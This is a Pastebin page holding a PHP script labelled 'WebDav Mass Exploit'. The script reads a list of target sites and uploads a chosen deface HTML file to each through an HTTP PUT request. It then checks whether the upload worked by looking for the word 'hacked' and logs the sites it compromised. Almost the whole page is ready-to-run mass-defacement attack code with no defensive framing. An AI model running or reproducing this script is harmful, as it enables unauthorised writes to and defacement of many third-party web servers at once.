zaksya

WebDav Mass Exploit

Jan 2nd, 2021 (edited)
1,337
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.02 KB | None | 0 0
  1. <?php
  2. echo "
  3. WebDav Mass Exploit - Coded By ZakirDotID
  4. -- Usage : php {$argv[0]} target.txt deface.html --
  5. ";
  6.  
  7. if (is_file(@$argv[1]) and (is_file(@$argv[2]))) {
  8.     $target = trim($argv[1]);
  9.     $script = trim($argv[2]);
  10.  
  11.     $pecah = file_get_contents($target) or die("{$argv[1]} Not Found!");
  12.     $pecah = explode("\r\n", $pecah);
  13.  
  14.     $fp = @fopen($script, 'r');
  15.     $filesize = filesize($script);
  16.     $count = count($pecah);
  17.  
  18.     $x = 1;
  19.     foreach ($pecah as $sites) {
  20.         $sites = trim($sites);
  21.  
  22.         if(preg_match("#http://#", $sites)) {
  23.             $sites = rtrim($sites);
  24.         } else {
  25.             $sites = "http://".$sites;
  26.         }
  27.  
  28.         $site = "{$sites}/{$script}";
  29.  
  30.         $ch = curl_init();
  31.         curl_setopt($ch, CURLOPT_URL, $site);
  32.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  33.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  34.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
  35.         curl_setopt($ch, CURLOPT_PUT, true);
  36.         curl_setopt($ch, CURLOPT_INFILE, $fp);
  37.         curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  38.         curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  39.         curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  40.         curl_setopt($ch, CURLOPT_TIMEOUT, 1000);
  41.         $exec = curl_exec($ch);
  42.  
  43.         echo "[{$x}/{$count}][SITE] {$site} => ";
  44.         $cek = cek($site);
  45.  
  46.         if (preg_match("/hacked/i", $cek)) {
  47.             echo "Sukses\n";
  48.             $f = @fopen("live_dav.txt", 'a');
  49.             @fwrite($f, "{$site}\r\n");
  50.             @fclose($f);
  51.         } else {
  52.             echo "Gagal\n";
  53.         }
  54.  
  55.         $x++;
  56.     }
  57.  
  58. } else {
  59.     echo "Baca usage!";
  60. }
  61.  
  62. function cek($site){
  63.     $ch = curl_init ("$site");
  64.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  65.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  66.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  67.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  68.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  69.     curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  70.     curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  71.     $data = curl_exec($ch);
  72.     return $data;
  73. }
Add Comment
Please, Sign In to add comment